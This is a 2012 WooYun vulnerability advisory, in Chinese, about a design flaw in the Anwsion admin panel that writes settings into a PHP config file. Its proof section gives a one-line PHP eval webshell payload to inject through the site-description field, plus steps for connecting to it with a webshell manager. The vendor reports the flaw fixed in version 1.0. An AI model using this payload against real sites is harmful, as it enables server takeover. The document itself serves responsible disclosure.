当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-010065

漏洞标题:Anwsion后台功能设计缺陷可获得SHELL

相关厂商:anwsion.com

漏洞作者: wdlei

提交时间:2012-07-24 14:29

修复时间:2012-09-07 14:30

公开时间:2012-09-07 14:30

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-24: 细节已通知厂商并且等待厂商处理中
2012-07-24: 厂商已经确认,细节仅向厂商公开
2012-07-27: 细节向第三方安全合作伙伴开放
2012-09-17: 细节向核心白帽子及相关领域专家公开
2012-09-27: 细节向普通白帽子公开
2012-10-07: 细节向实习白帽子公开
2012-09-07: 细节向公众公开

简要描述:

Anwsion后台功能设计缺陷可获得SHELL。

详细说明:

Anwsion后台功能设计缺陷可获得SHELL。
漏洞影响 全版本。
结合Anwsion 0.7以下所有版本可导致站点被入侵。
设计缺陷代码如下 见75-96行 将网站后台配置保存到数据库同时又保存到了本地PHP文件 导致可通过写入一句话执行。
/app/admin/controller/c_setting_class.inc.php

//保存参数到数据库
$retval = $this->model('setting')->set_vars($vars);

//保存缓存文件
if(!$this->model('setting')->update_setting_config())
{
H::ajax_json_output(AWS_APP::RSM(null, "-1", '无法写入配置文件,请设置文件 system/config/setting.php 的权限为0777。'));
}

if ($retval)
{
ZCACHE::delete("setting_config");

H::ajax_json_output(AWS_APP::RSM(null, "1", "系统设置修改成功"));
}
else
{
H::ajax_json_output(AWS_APP::RSM(null, "-1", "系统设置修改失败"));
}
}


被写入的配置文件内容如下 system/config/setting.php

漏洞证明:

访问后台系统设置地址
http://sa.sebug.net/admin/setting/setting/group_id-1
在网站简介处添加一句话 \';eval($_POST[cmd]);//


通过一句话管理工具连接一句话/system/config/setting.php
早期Anwsion 0.6版本或更早版本配置文件被写入/gzphp/config/setting.php
如果受到rewrite限制无法访问一句话文件 则直接通过一句话管理工具连接/index.php文件即可。


成功连接一句话文件。

修复方案:

等待官方补丁或者是关注近期更新。
漏洞发布之后将会通知开发者过来认领 避免被恶意利用。
不知为何 在漏洞预览中一句话代码会被添加多一个\ 莫非是防XSS而添加的?
不知这样在审核通过后可以浏览时是否同样会被多添加一个\ 否则将误导他人 测试失败。


版权声明:转载请注明来源 wdlei@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2012-07-24 14:36

厂商回复:

新版本已经修复

最新状态:

2012-07-27:已经发布1.0版本,未升级用户请安装升级:)谢谢